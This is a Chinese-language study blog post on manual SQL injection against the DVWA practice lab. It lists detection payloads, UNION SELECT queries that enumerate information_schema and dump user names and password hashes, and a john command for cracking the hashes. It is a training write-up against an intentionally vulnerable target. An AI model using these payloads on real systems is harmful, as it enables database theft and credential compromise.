小白日記39:kali滲透測試之Web滲透-SQL手工注入(一)-檢測方法


SQL手工注入(一)

SQL注入:通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。【SQL注入原理

##服務端程序將用戶輸入參數作為查詢條件,直接拼接SQL語句,並將查詢結果返回給客戶端瀏覽器

 

用戶登錄判斷

SELECT * FROM users WHERE user=‘uname' AND password=‘pass‘
SELECT * FROM users WHERE user=‘name' AND password='' OR ''='  【OR:邏輯運算符,(password假)''或''('1'='1'真)】

 

SQL注入存在位置

表單、GET方式的URL

 

SQL檢測方法

1、基於報錯的檢測方法(low)

'    (單引號)

''  (嘗試兩個單引號)【結果:兩兩閉合】

#'a"b  (單引號+a+雙引號+b)

#'a"b' (單引號+a+雙引號+b+')

則證明可以構造復雜的SQL語句進行注入 

"    

%  

()

 

 2、基於布爾的檢測

First:   1' and '1'='1    等於 1' and '1            【猜測語句:select first_name,surname from users where id='  1' and '1'='1 '  】

 

Second:  1' and '1'='2       等於  1' and '0      【若無返回結果,則可驗證上猜測語句】

 

 3、表列數/顯示信息位於哪一列

' order by  9-- (單引號+order by +空格+ 數字【該數字用於指定字段,可以填大而后猜確切列數】+ --+空格一定要注意有空格,否則會語法錯誤  --:為注釋】)

 構造select語句

 

 4、聯合查詢【為了在過濾的單引號后面,再運行查詢語句】

union與union all 作用基本完全相同 

First:' union select 1,2--                     【確定查詢后結果在頁面中出現位置】

 

Second:1' union select user(),2--              【1替換成一個數據庫默認函數user() 查詢數據庫用戶】

' union select user(),version()--        【將2替換成函數version() 查詢版本】

 database()   查詢數據庫名稱

全局函數:@@datadir    查詢數據庫的文件位置

@@hostname   查詢主機名

@@version_compile_os   查詢操作系統版本

 

 構造復雜的SQL語句

' union select database(),substring_index(USER(),"@",1)--

 

為方便查看指令,使用火狐插件hackbug,使用F9調出

繞過一些過濾不嚴的機制

CHAR()       將ASCII碼轉換為對應字符

 

連接字符

 CONCAT_WS()                       將多個函數連接在一起   

 

 計算MD5 【可用於使用別人的服務器資源來為自己做大量的數據運算】

 

 了解數據庫的數據結構

MySQL:所有的元數據都保存在一張元數據表【information_schema】

 

1、查看所有庫所有表/統計庫中表的數量

' union select table_name,table_schema from information_schema.tables--+     [所有庫所有表]

 ' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --  [統計每個庫中表的數量]

 

 

2、 Dvwa庫中的表名   【一個參數漏洞,也可造成拖庫】

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+     【通過表名猜測賬號密碼存放位置】

 

3、查詢users表中所有的列(user_id、first_name、last_name、user、password、avatar)

 ' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+

 

4、查詢user、password列中的內容 

' union select user,password from dvwa.users--+


' union select user,password from users--+


' union select null, concat(user,0x3a,password) from users--+   【concat:連接,需指定分隔符】

 

 5、密碼破解

猜測密碼算法:hash-identifier

 

username:passhash ——> dvwa.txt    【將賬號:密碼整理成一個文本文件】

 

工具:
john --format=raw-MD5 dvwa.txt

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM